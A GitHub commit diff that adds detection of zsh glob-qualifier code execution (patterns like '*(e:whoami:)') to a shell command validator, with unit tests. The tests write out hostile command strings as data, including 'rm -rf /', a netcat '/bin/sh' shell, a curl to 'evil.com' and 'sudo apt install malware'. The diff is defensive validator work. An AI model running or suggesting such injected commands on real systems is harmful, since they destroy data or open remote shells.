Skip to content

Commit d62e211

Browse files
committed
Handle zsh glob qualifiers correctly
1 parent 966ed76 commit d62e211

File tree

2 files changed

+57
-1
lines changed

2 files changed

+57
-1
lines changed

webview-ui/src/utils/__tests__/command-validation.spec.ts

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -292,6 +292,27 @@ ls -la || echo "Failed"`
292292
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
293293
})
294294

295+
it("detects zsh glob qualifiers with code execution (e:...:)", () => {
296+
// Basic glob qualifier with command execution
297+
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
298+
299+
// Various glob patterns with code execution
300+
expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true)
301+
expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true)
302+
expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true)
303+
expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true)
304+
305+
// Glob qualifiers in middle of command
306+
expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true)
307+
308+
// Multiple glob qualifiers
309+
expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true)
310+
311+
// Glob qualifiers with complex commands
312+
expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true)
313+
expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true)
314+
})
315+
295316
it("does NOT flag safe parameter expansions", () => {
296317
// Regular parameter expansions without dangerous operators
297318
expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
@@ -324,6 +345,12 @@ ls -la || echo "Failed"`
324345
// Safe comparison operators
325346
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
326347
expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
348+
349+
// Safe glob patterns without code execution qualifiers
350+
expect(containsDangerousSubstitution("ls *")).toBe(false)
351+
expect(containsDangerousSubstitution("rm *.txt")).toBe(false)
352+
expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false)
353+
expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:)
327354
})
328355

329356
it("handles complex combinations of dangerous patterns", () => {
@@ -349,6 +376,9 @@ ls -la || echo "Failed"`
349376

350377
// The new zsh process substitution exploit
351378
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
379+
380+
// The zsh glob qualifier exploit
381+
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
352382
})
353383
})
354384
})
@@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => {
965995
// Combined with denied commands
966996
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
967997
})
998+
999+
it("prevents auto-approval for zsh glob qualifier exploits", () => {
1000+
// The zsh glob qualifier exploit with code execution
1001+
const globExploit = "ls *(e:whoami:)"
1002+
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
1003+
expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user")
1004+
1005+
// Various forms should all be blocked
1006+
expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user")
1007+
expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user")
1008+
expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user")
1009+
expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern
1010+
1011+
// Combined with denied commands
1012+
expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny")
1013+
1014+
// Multiple glob qualifiers
1015+
expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user")
1016+
})
9681017
})
9691018

9701019
it("returns auto_deny for commands with any sub-command auto-denied", () => {

webview-ui/src/utils/command-validation.ts

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string }
7272
* - ${!var} - Indirect variable references
7373
* - <<<$(...) or <<<`...` - Here-strings with command substitution
7474
* - =(...) - Zsh process substitution that executes commands
75+
* - *(e:...:) or similar - Zsh glob qualifiers with code execution
7576
*
7677
* @param source - The command string to analyze
7778
* @returns true if dangerous substitution patterns are detected, false otherwise
@@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean {
105106
// =(...) creates a temporary file containing the output of the command, but executes it
106107
const zshProcessSubstitution = /=\([^)]+\)/.test(source)
107108

109+
// Check for zsh glob qualifiers with code execution (e:...:)
110+
// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
111+
// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
112+
const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
113+
108114
// Return true if any dangerous pattern is detected
109115
return (
110116
dangerousParameterExpansion ||
111117
parameterAssignmentWithEscapes ||
112118
indirectExpansion ||
113119
hereStringWithSubstitution ||
114-
zshProcessSubstitution
120+
zshProcessSubstitution ||
121+
zshGlobQualifier
115122
)
116123
}
117124

0 commit comments

Comments
 (0)